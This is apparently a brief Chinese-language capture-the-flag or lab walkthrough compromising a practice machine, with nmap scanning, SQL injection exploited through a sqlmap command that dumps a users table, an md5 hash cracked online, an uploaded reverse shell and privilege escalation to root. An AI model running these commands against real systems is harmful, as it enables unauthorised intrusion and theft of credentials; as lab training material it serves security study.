kali：192.168.111.111

靶机：192.168.111.245

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.245

访问目标80端口，注册用户

登陆后在搜索框位置存在sql注入

漏洞利用

利用sqlmap获得目标数据库信息

sqlmap -o -r ./a.txt --batch --level 5 --risk 3 -D 'webapphacking' -T 'users' --dump-all

md5解密superadmin用户密码md5：https://www.somd5.com/

Uncrackable

用superadmin用户登录后上传反弹shell

文件上传到uploads目录

获得反弹shell

提权

运行/home/legacy/touchmenot提升为root